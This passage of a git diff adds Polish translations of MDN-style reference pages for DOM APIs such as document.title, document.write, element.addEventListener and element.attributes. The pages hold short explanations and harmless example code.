+</pre> +<ul> + <li><code>nowyTytul</code> jest nowym tytułem dokumentu. Przypisanie to ma wpływ na wartość zwracaną przez <code>document.title</code> oraz wyświetlany tytuł dokumentu (np. w pasku tytułowym okna), ale nie wpływa na DOM dokumentu (np. zawartość elementu <code><title></code> w dokumencie HTML).</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> +<head> + <title>Hello World!</title> +</head> +<body> + <script> + alert(document.title); // wyswietla "Hello World!" + document.title = "Goodbye World!"; + alert(document.title); // wyswietla "Goodbye World!" + </script> +</body> +</html> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Własność ta ma zastosowanie w HTML, SVG, XUL i innych dokumentach w Gecko.</p> +<p>Dla dokumentów HTML początkową wartością <code>document.title</code> jest zawartość tekstowa elementu <code><title></code>. Dla XUL-a jest to wartość atrybutu {{ XULAttr("title") }} elementu {{ XULElem("window") }} lub innego elementu XUL najwyższego poziomu.</p> +<p>W XUL-u próba dostępu do <code>document.title</code> zanim jeszcze dokument zostanie w pełni załadowany może skutkować niepożądanym zachowaniem (<code>document.title</code> może zwrócić pusty łańcuch znaków, a ustawienie <code>document.title</code> może nie mieć żadnego efektu).</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-18446827">DOM Level 2 HTML: document.title</a></p> +<p>{{ languages( { "en": "en/DOM/document.title" } ) }}</p> diff --git a/files/pl/web/api/document/url/index.html b/files/pl/web/api/document/url/index.html new file mode 100644 index 0000000000..90bb037e8b --- /dev/null +++ b/files/pl/web/api/document/url/index.html @@ -0,0 +1,25 @@ +--- +title: document.URL +slug: Web/API/Document/URL +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/URL +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca URL bieżącego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.URL +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var currentURL = document.URL; +alert(currentURL); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>URL ma zastąpić używaną w DOM Level 0 własność <code>document.location.href</code>. Jednakże, w przeciwieństwie do niej, <code>document.URL</code> nie można ustawiać.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-46183437">DOM Level 2 HTML: URL</a></p> +<p>{{ languages( { "en": "en/DOM/document.URL", "es": "es/DOM/document.URL", "ja": "ja/DOM/document.URL" } ) }}</p> diff --git a/files/pl/web/api/document/vlinkcolor/index.html b/files/pl/web/api/document/vlinkcolor/index.html new file mode 100644 index 0000000000..b33a53c482 --- /dev/null +++ b/files/pl/web/api/document/vlinkcolor/index.html @@ -0,0 +1,29 @@ +--- +title: document.vlinkColor +slug: Web/API/Document/vlinkColor +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/vlinkColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca/ustawia kolor odwiedzonych linków w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>kolor</i> = document.vlinkColor +document.vlinkColor =<i>kolor</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową (np. "#fefdf8").</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Domyślną wartością tej własności jest + <i> + purple</i> + .</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.vlinkColor" } ) }}</p> diff --git a/files/pl/web/api/document/width/index.html b/files/pl/web/api/document/width/index.html new file mode 100644 index 0000000000..af36011079 --- /dev/null +++ b/files/pl/web/api/document/width/index.html @@ -0,0 +1,28 @@ +--- +title: document.width +slug: Web/API/Document/width +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/width +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca szerokość bieżącego dokumentu w pikselach.</p> +<p>Nie obsługiwana przez IE.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>piksele</i> = document.width +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">function init() { + alert("Szerokość dokumentu wynosi " + document.width + " pikseli."); +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz także <a href="pl/DOM/document.height">DOM:document.height</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p>{{ languages( { "en": "en/DOM/document.width" } ) }}</p> diff --git a/files/pl/web/api/document/write/index.html b/files/pl/web/api/document/write/index.html new file mode 100644 index 0000000000..24daccf070 --- /dev/null +++ b/files/pl/web/api/document/write/index.html @@ -0,0 +1,38 @@ +--- +title: document.write +slug: Web/API/Document/write +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/write +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zapisuje ciąg tekstu w strumieniu dokumentu otwartym przez <a href="pl/DOM/document.open">document.open</a>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">document.write(<i>tekst</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>tekst</code> jest ciągiem znaków preznaczonym do zapisania w dokumencie.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>document.open(); +document.write("<h1>witam!</h1>"); +document.close(); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zapis do dokumentu, który już się załadował, bez wywoływania <code>document.open</code> spowoduje automatyczne przeprowadzenie <code>document.open</code>. Zaleca się wywołanie <a href="pl/DOM/document.close">document.close</a> po skończeniu zapisu, aby poinformować przeglądarkę, by zakończyła ładowanie strony. Tekst, który zapisujesz, jest parsowany i trafia do modelu struktury dokumentu. W poniższym przykładzie element H1 staje się węzłem. Jeżeli wywołanie <code>document.write()</code> zostało zagnieżdżone bezpośrednio w kodzie HTML, nie spowoduje ono uruchomienia <code>document.open</code>. Np.:</p> +<pre> <div> + <script type="text/javascript"> + document.write("<h1>Main title</h1>") + </script> + </div> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-75233634">write </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.write", "fr": "fr/DOM/document.write", "ja": "ja/DOM/document.write" } ) }}</p> diff --git a/files/pl/web/api/document/writeln/index.html b/files/pl/web/api/document/writeln/index.html new file mode 100644 index 0000000000..f70d4f72a4 --- /dev/null +++ b/files/pl/web/api/document/writeln/index.html @@ -0,0 +1,41 @@ +--- +title: document.writeln +slug: Web/API/Document/writeln +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Document/writeln +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zapisuje w dokumencie ciąg tekstu, a po nim znak nowej linii.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">document.writeln(<i>linia</i>) +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>linia</code> jest ciągiem zawierającym wiersz tekstu do wpisania.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>document.writeln("<p>podaj hasło:</p>"); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><b>document.writeln</b> nie różni się niczym od <a href="pl/DOM/document.write">document.write</a>, poza tym, że dodaje na końcu znak nowego wiersza.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/document.writeln", "ja": "ja/DOM/document.writeln" } ) }}</p> diff --git a/files/pl/web/api/domapplicationsmanager/getall/index.html b/files/pl/web/api/domapplicationsmanager/getall/index.html new file mode 100644 index 0000000000..272c82b938 --- /dev/null +++ b/files/pl/web/api/domapplicationsmanager/getall/index.html @@ -0,0 +1,47 @@ +--- +title: DOMApplicationsManager.getAll() +slug: Web/API/DomApplicationsManager/getAll +translation_of: Archive/Marketplace/API/DOMApplicationsManager/getAll +--- +<p><span style="display: none;"> </span> </p> + +<pre>{{ ApiRef("Apps") }}</pre> + +<p>{{ non-standard_header() }}</p> + +<h2 id="Summary">Summary</h2> + +<p>Lists all installed apps in the user's repository.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre>window.navigator.mozApps.mgmt.getAll() +</pre> + +<h3 id="Return_value">Return value</h3> + +<p><code>getAll()</code> returns a <code>pendingGetAll</code> object. Callers are expected to set the <code>onsuccess</code> and <code>onerror</code> callback properties of the returned object.</p> + +<p><code>pendingGetAll.result</code> will be an array of <code>App</code> objects that contains all the apps installed in the current browser. <code>pendingGetAll.result</code> will be the empty list if no apps are installed. <code>onerror</code> will be called if a serious problem occurs while checking this.</p> + +<p>This is a privileged call. <code>navigator.mozApps.mgmt</code> will be <code>null</code> if you do not have the privilege to query apps.</p> + +<h3 id="Errors">Errors</h3> + +<p>The following error can be returned in <code>DOMRequest.error</code>.</p> + +<dl> +</dl> + +<dl> + <dt>DENIED</dt> + <dd>Permission denied.</dd> +</dl> + +<h2 id="Related_topics">Related topics</h2> + +<ul> + <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li> +</ul> + +<p><span style="display: none;"> </span> </p> diff --git a/files/pl/web/api/domapplicationsmanager/index.html b/files/pl/web/api/domapplicationsmanager/index.html new file mode 100644 index 0000000000..e19495d68e --- /dev/null +++ b/files/pl/web/api/domapplicationsmanager/index.html @@ -0,0 +1,86 @@ +--- +title: DOMApplicationsManager +slug: Web/API/DOMApplicationsManager +tags: + - API + - Apps + - Apps API + - NeedsTranslation + - TopicStub +translation_of: Archive/Marketplace/API/DOMApplicationsManager +--- +<p>{{ ApiRef("Apps") }}</p> + +<p>{{ non-standard_header() }}</p> + +<p>Provides support for managing, and Open Web apps in a browser. A manager can be accessed via {{domxref("DOMApplicationsRegistry.mgmt", "Navigator.mozApps.mgmt")}}</p> + +<h2 id="Property">Property</h2> + +<dl> + <dt>{{domxref("DOMApplicationsManager.oninstall")}}</dt> + <dd>Is an {{domxref("EventManager")}} call when <code>install</code> event is received.</dd> + <dt>{{domxref("DOMApplicationsManager.onuninstall")}}</dt> + <dd>Is an {{domxref("EventManager")}} call when <code>uninstall</code> event is received.</dd> + <dt>{{domxref("DOMApplicationsManager.onenablestatechange")}}</dt> + <dd>Is an {{domxref("EventManager")}} call when <code>enablestatechange</code> event is received.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{ domxref("DOMApplicationsManager.getAll()") }}</dt> + <dd>Returns all applications.</dd> +</dl> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>16.0</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>16.0</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<p> </p> diff --git a/files/pl/web/api/element/addeventlistener/index.html b/files/pl/web/api/element/addeventlistener/index.html new file mode 100644 index 0000000000..781ec7f3b6 --- /dev/null +++ b/files/pl/web/api/element/addeventlistener/index.html @@ -0,0 +1,109 @@ +--- +title: element.addEventListener +slug: Web/API/Element/addEventListener +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/EventTarget/addEventListener +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <code>addEventListener</code> pozwala zarejestrować obserwatora zdarzeń dla określonego typu zdarzenia na elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><em>target</em>.addEventListener(<em>type</em>, <em>listener</em>, <em>useCapture</em>); +</pre> +<dl> + <dt> + type </dt> + <dd> + Łańcuch przedstawiający typ zdarzenia do nasłuchu.<span class="comment">Need a link here</span></dd> + <dt> + listener </dt> + <dd> + Obiekt, który otrzymuje zawiadomienie, gdy nastąpi zdarzenie określonego typu. Musi być zaimplementowanym obiektem interfejsu <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener"><code>EventListener</code></a> lub pojedynczą <a href="/pl/Przewodnik_po_języku_JavaScript_1.5#Funkcje" title="pl/Przewodnik_po_języku_JavaScript_1.5#Funkcje">funkcją</a> JavaScript.</dd> + <dt> + useCapture </dt> + <dd> + Jeśli zostanie ustawione na <code>true</code>, <code>useCapture</code> wskazuje, że użytkownik chce przechwytywać zdarzenia. Po rozpoczęciu przechwytywania, wszystkie zdarzenia typu <code>type</code> będą przekazywane do naszego <code>listener</code>'a zanim zostaną wysłane do innych obiektów nasłuchujących (<code>EventTarget</code>) znajdujących się poniżej w drzewie DOM. Zdarzenia, które propagują w górę drzewa nie uruchamiają systemu nasłuchującego (<code>listener</code>) ustawionego na przechwytywanie.</dd> +</dl> +<p>Dla uzyskania szczegółowego objaśnienia zobacz <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a>.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> <html> + <head> + <title>Przykład zdarzenia DOM</title> + <style type="text/css"> + #t { border: 1px solid red } + #t1 { background-color: pink; } + </style> + <script type="text/javascript"> + + // Funkcja zmieniająca zawartość komórki tabeli t2 + function modifyText() { + var t2 = document.getElementById("t2"); + t2.firstChild.nodeValue = "Trzy"; + } + + // Funkcja dodająca obserwatora zdarzeń dla tabeli t + function load() { + var el = document.getElementById("t"); + el.addEventListener("click", modifyText, false); + } + + </script> + </head> + <body onload="load();"> + <table id="t"> + <tr><td id="t1">Jeden</td></tr> + <tr><td id="t2">Dwa</td></tr> + </table> + </body> + </html> +</pre> +<p>W powyższym przykładzie, funkcja <code>modifyText()</code> została zarejestrowana za pomocą <code>addEventListener()</code> do obsługi zdarzenia typu <code>click</code> na tabeli <code>t</code>. Kliknięcie w dowolnym miejscu tej tabeli rozpocznie propagowanie zdarzenia i wywoła funkcję <code>modifyText()</code>.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<h4 id="Po_co_u.C5.BCywa.C4.87_addEventListener.3F" name="Po_co_u.C5.BCywa.C4.87_addEventListener.3F">Po co używać <code>addEventListener</code>?</h4> +<p><code>addEventListener</code> daje możliwość zarejestrowania obsługi zdarzenia według specyfikacji W3C DOM. Korzyści są następujące:</p> +<ul> + <li>Pozwala na dodanie więcej niż jednego obiektu obsługującego zdarzenie. Jest to szczególnie użyteczne przy bibliotekach <a href="/pl/DHTML" title="pl/DHTML">DHTML</a> czy <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">rozszerzeniach Mozilli</a>, które pracują, gdy uruchomione są inne biblioteki i rozszerzenia,</li> + <li>Daje większą kontrolę nad etapem aktywacji obiektu nasłuchującego <code>listener</code> (przechwytywanie vs. propagowanie),</li> + <li>Działa dla każdego elementu z DOM, a nie tylko dla elementów HTML.</li> +</ul> +<p>Alternatywne, starsze sposoby rejestracji zdarzeń są <a href="#Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84">opisane poniżej</a>.</p> +<h4 id="Dodawanie_nas.C5.82uchu_podczas_obs.C5.82ugi_zdarzenia" name="Dodawanie_nas.C5.82uchu_podczas_obs.C5.82ugi_zdarzenia">Dodawanie nasłuchu podczas obsługi zdarzenia</h4> +<p>Jeśli podczas obsługi zdarzenia zostanie dodany nowy obiekt nasłuchujący to zdarzenie, nie zostanie on uruchomiony dla tego zdarzenia. Może zostać wywołany podczas dalszego etapu przepływu zdarzeń(<code>Event flow</code>), np. w fazie propagowania zdarzenia w górę drzewa DOM.</p> +<h4 id="Identyczne_obiekty_nas.C5.82uchuj.C4.85ce" name="Identyczne_obiekty_nas.C5.82uchuj.C4.85ce">Identyczne obiekty nasłuchujące</h4> +<p>Jeśli kilka identycznych obiektów nasłuchujących zostanie zarejestrowanych dla tego samego zdarzenia (<code>EventTarget</code>) z tymi samymi parametrami to duplikaty są ignorowane. Obiekt nasłuchujący nie będzie wywołany więcej niż jeden raz. Powielone powiązania nie muszą być usuwane ręcznie za pomocą funkcji <code><a href="/pl/DOM/element.removeEventListener" title="pl/DOM/element.removeEventListener">removeEventListener</a></code>, ponieważ są one usuwane automatycznie.</p> +<h4 id="Warto.C5.9B.C4.87_this" name="Warto.C5.9B.C4.87_this">Wartość <code>this</code></h4> +<p>Doczepianie akcji używając <code>addEventListener()</code> zmienia wartość <code>this</code>—zauważ, że wartość <code>this</code> ijest przekazywana funkcji przez zdarzenie.</p> +<p>W powyższym przykładzie, wartość <code>this</code> wewnątrz <code>modifyText()</code> gdy zostanie wywołana ze zdarzenia onclick event jest odwołaniem do tabeli 't'. Jeśli obsługa zdarzenia onclick jest dodana w źródle HTML:</p> +<pre><table id="t" onclick="modifyText();"> + ... +</table> +</pre> +<p>to wartość <code>this</code> wewnątrz funkcji <code>modifyText()</code> wywołanej z poziomu zdarzenia onclick będzie odwołaniem od obiektu globalnego(window).</p> +<h4 id="Internet_Explorer" name="Internet_Explorer">Internet Explorer</h4> +<p>W IE 8 i niższych należy użyć <code>attachEvent</code> zamiast standardowego <code>addEventListener</code>. By wspierać IE, powyższy przykład może zostać zmodyfikowany do:</p> +<pre>if (el.addEventListener){ + el.addEventListener('click', modifyText, false); +} else if (el.attachEvent){ + el.attachEvent('onclick', modifyText); +} +</pre> +<h4 id="Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84" name="Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84">Starsze sposoby dołączania zdarzeń</h4> +<p><code>addEventListener()</code> zostało wprowadzone wraz ze specyfikacją DOM 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. Wcześniej, zdarzenia były dołączone jak pokazano poniżej:</p> +<pre>// Using a function reference—note lack of '()' +el.onclick = modifyText; + +// Używając deklaracji funkcji +element.onclick = function(){ + // ... logika funkcji ... + }; +</pre> +<p>Ta metoda zastępuje istniejącą obsługę zdarzenia <code>onclick</code> na elemencie jeśli jest jakakolwiek. Podobnie do innych zdarzeń 'on' takich jak <code>onblur</code>, <code>onkeypress</code>, i tak dalej.</p> +<p>Ponieważ była to istotna część DOM 0, ta metoda jest bardzo szeroko wspierana i nie wymaga specjalnych kodów do różnych przeglądarek; stąd też jest to normalnie używana do dynamicznego zaczepienia obsługi zdarzenia jeśli nie potrzeba dodatkowych możliwości <code>addEventListener()</code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-addEventListener">DOM Level 2 Events: addEventListener</a></p> +<p>{{ languages( { "en": "en/DOM/element.addEventListener", "fr": "fr/DOM/element.addEventListener", "ja": "ja/DOM/element.addEventListener" } ) }}</p> diff --git a/files/pl/web/api/element/appendchild/index.html b/files/pl/web/api/element/appendchild/index.html new file mode 100644 index 0000000000..ae2b141231 --- /dev/null +++ b/files/pl/web/api/element/appendchild/index.html @@ -0,0 +1,52 @@ +--- +title: element.appendChild +slug: Web/API/Element/appendChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/appendChild +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Metoda <code>Node.appendChild()</code> wstawia określony węzeł na koniec listy dzieci określonego rodzica. Jeśli węzeł ma już rodzica, jest on najpierw od niego oddzielany.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>var dziecko = element</em>.appendChild(<em>dziecko</em>) +</pre> + +<ul> + <li><code>element</code> jest rodzicem elementu.</li> + <li><code>dziecko</code> jest węzłem.</li> +</ul> + +<h3 id="Opis">Opis</h3> + +<p>Metoda <code>appendChild</code> zwraca referencję do dodanego węzła. </p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>// Tworzy nowy element paragrafu +var p = document.createElement("p"); + +// Wstawia go na koniec ciała dokumentu +document.body.appendChild(p); +</pre> + +<p> </p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><code>appendChild</code> jest jedną z fundamentalnych metod w programowaniu z użyciem DOM. Metoda ta wstawia nowy węzeł do struktury DOM dokumentu HTML. Jest to druga część procesu <em>stwórz-i-wstaw</em>, podstawowego przy programowym budowaniu strony. Inne związane z tym metody to <a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore</a>, <a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild</a> i <a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild</a>.</p> + +<p>Jeśli <code>dziecko</code> jest referencją do węzła, który istnieje już w dokumencie, <code>appendChild</code> przenosi go z dotychczasowej pozycji w nowe miejsce (tj. nie ma potrzeby odzielać węzeł od jego rodzica przed wstawieniem go do innego węzła).</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-184E7107">DOM Level 2 Core: appendChild</a></p> + +<p>{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "ja": "ja/DOM/element.appendChild" } ) }}</p> diff --git a/files/pl/web/api/element/attributes/index.html b/files/pl/web/api/element/attributes/index.html new file mode 100644 index 0000000000..5ae9839a79 --- /dev/null +++ b/files/pl/web/api/element/attributes/index.html @@ -0,0 +1,82 @@ +--- +title: element.attributes +slug: Web/API/Element/attributes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/attributes +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><strong>attributes</strong> zwraca <em>kolekcję</em> atrybutów określonych dla danego elementu.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">var <var>kolekcjaAtrybutów</var> = elementNodeReference.attributes; +</pre> +<p>Typem zwracanego obiektu kolekcji jest <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">NamedNodeMap</a>. Jeśli element nie ma określonych żadnych atrybutów, zwrócony obiekt ma zerową długość. Właściwość <code>attributes</code> jest tylko do odczytu.</p> +<p><var>kolekcjaAtrybutów</var> to referencja do kolekcji atrybutów.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// weź pierwszy element <p> z dokumentu +var para = document.getElementsByTagName("p")[0]; +var atts = para.attributes; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zwracany obiekt ma typ <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">NamedNodeMap</a>, nazywany także <em>kolekcją</em>, będący listą węzłów, a nie ciągów znakowych. Właściwości obiektów atrybutów dostępne są poprzez indeks, tak jak w poniższym przykładzie, który pobiera parę nazwa/wartość pierwszego atrybutu akapitu "p1":</p> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" +"http://www.w3.org/TR/html4/strict.dtd"> + +<html> + + <head> + <title>Attributes example</title> + <script type="text/javascript"> + function showFirstAttr() + { + var FirstParg = document.getElementById("p1"); + var outputText = document.getElementById("result"); + + if (FirstParg.hasAttributes()) + // sprawdźmy, czy FirstParg ma atrybuty + { + outputText.value = FirstParg.attributes[0].name + "->" + + FirstParg.attributes[0].value; + } + else + { + outputText.value = "Brak atrybutów do wyświetlenia" + }; + } + </script> + </head> + +<body> + <p id="p1" style="color: green;">Przykładowy akapit</p> + <form action=""> + <p><input type="button" value="Pokaż nazwę i wartość pierwszego atrybutu" + onclick="showFirstAttr();"> + <input id="result" type="text" value=""></p> + </form> +</body> +</html> +</pre> +<p>Obiekt z atrybutami jest <em>kolekcją</em>, która podobna jest do tablicy, ponieważ ma właściwość <code>length</code>, a do atrybutów można odnosić się poprzez indeks liczbowy, ale kolekcja nie posiada specjalnych metod, jakie mają tablice, jak <code>join</code>, <code>split</code>, itd.</p> +<p>Kolejność w kolekcji atrybutów nie jest wiarygodna - dwie przeglądarki po otrzymaniu takiego samego kodu znaczników mogą zwracać różnie uporządkowane obiekty <code>attributes</code>.</p> +<p>By uzyskać dostęp do konkretnego atrybutu, użyj metody <a href="/pl/DOM/element.getAttribute" title="pl/DOM/element.getAttribute">getAttribute</a> lub zapisu z użyciem kropki:</p> +<pre> // pokaż id elementu, jeśli element go posiada + if(element.id) + { + alert("id elementu to " + element.id); + } + else + { + alert("element nie ma id"); + }; +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-84CF096">W3C DOM Level 2 Core: attributes</a></li> + <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-84CF096">W3C DOM Level 3 Core: attributes</a></li> + <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">W3C DOM Level 3 NamedNodeMap interface</a></li> +</ul> +<p>{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "ja": "ja/DOM/element.attributes", "zh-cn": "cn/DOM/element.attributes" } ) }}</p> diff --git a/files/pl/web/api/element/blur/index.html b/files/pl/web/api/element/blur/index.html new file mode 100644 index 0000000000..1febd21617 --- /dev/null +++ b/files/pl/web/api/element/blur/index.html @@ -0,0 +1,21 @@ +--- +title: element.blur +slug: Web/API/Element/blur +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/blur +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <b>blur</b> dezaktywuje bieżący element (usuwa focus).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.blur() +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-28216144">blur</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.blur", "fr": "fr/DOM/element.blur" } ) }}</p> diff --git a/files/pl/web/api/element/childnodes/index.html b/files/pl/web/api/element/childnodes/index.html new file mode 100644 index 0000000000..2f15d119e2 --- /dev/null +++ b/files/pl/web/api/element/childnodes/index.html @@ -0,0 +1,49 @@ +--- +title: element.childNodes +slug: Web/API/Element/childNodes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/childNodes +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>childNodes </b> zwraca kolekcję węzłów-dzieci elementu.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> 